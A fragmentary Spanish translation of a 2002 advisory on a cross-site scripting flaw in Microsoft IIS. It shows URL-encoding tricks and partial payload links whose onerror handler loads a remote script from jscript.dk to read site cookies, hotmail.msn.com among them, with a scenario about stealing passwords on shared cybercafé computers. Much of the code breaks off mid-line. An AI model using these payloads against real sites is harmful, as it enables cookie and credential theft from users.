|
Cross Site Scripting en IIS. 13 Marzo 2002. Aplicaciones afectadas: Impacto: Introduction: Parece que la gente no se toma muy en serio el CrossSiteScripting, así que pensad por un momento que alguien crea un HTML parecido a los anteriores (o incluso los anteriores sin alterar) y los sube a un servidor propio (que puede ser su PC personal con el IS instalado, por ejemplo) , se va al cyber, y desde allí visita las páginas donde tenga guardados dichos HTML, es facil darse cuenta de lo fácil que le sería hacerse con los passwords de los usuarios que han estado en ese PC antes que el, por ejemplo, el audiogalaxy guarda los passwords de los usuarios en las cookies, y muchas veces la gente utiliza el mismo password para todo. Descripción: document.write( '<A HREF="' + escape(urlresult) + '">' + displayresult + "</a>"); El "displayResult" viene desde el primer :// en la URL hasta el siguiente /. Esto significa que vamos a tener que incluir nuestro script code antes de la ruta del URL. PAra lograrlo ponemos el script en la parte "Basic Authentication" de la URL, pero primero tenemos que evitar los caractéres especiales en el código. Cualquier caracter "/" cortar la ruta prematuramente y cualquier espacio va a provocar un fallo en la búsqyeda de las DNS , por esto vamos a sustituir los espacios por tabulaciones (TAB es decir %09) el caracter / por "%5Cx2f" (\x2f).
http://<img%09src=""%09onerror="document.scripts[0].src= esto en caracteres estandar sería: http://<img src=""
onerror="document.scripts[0].src= Este código incluye y ejecuta el test.js (en la ruta http://jscript.dk/test.js) en YOUR.TLD, suponiendo que el YOUR.TLD es suministrado en la instalación del IIS. Ejemplos (estos ejemplos están tomados de http://jscript.dk , se incluye aquí el código fuente para una mayor comprensión): Primero vamos a crear un archivo llamado test.js que tenemos que situar en un servidor IIS (como ejemplo está tomado de http://jscript.dk , será esta la ruta y el test.js que utilizan los scripts incluidos mas abajo) : var msgStr = "Hola"; if(typeof document != "undefined"
&& document.body){ if(typeof WScript !="undefined"){ Vamos a ver unos ejemplos: 1- Lee las cookies de un sitio determinado: <a href='http://<img%09src=""%09onerror="document.scripts[0].src= Un link como este leerá la cookie de hotmail.msn.com Aquí puedes encontrar varios ejemplos de links como el anterior: http://jscript.dk/adv/TL001/simple.html 2- Elige la cookie que quieres leer: <scr!pt> function getCookies(sDomain){ </scr!pt> <p> <a href="" id="DummyLink" style="display:none"
target="_blank"></a> </p> Sustituye scr!pt por script para que funcione. Puedes comprobarlo aquí: http://jscript.dk/adv/TL001/advanced.html
http://jscript.dk/adv/TL001/msn.html Solución: Links:
Texto traducido por CyruxNET
de:
|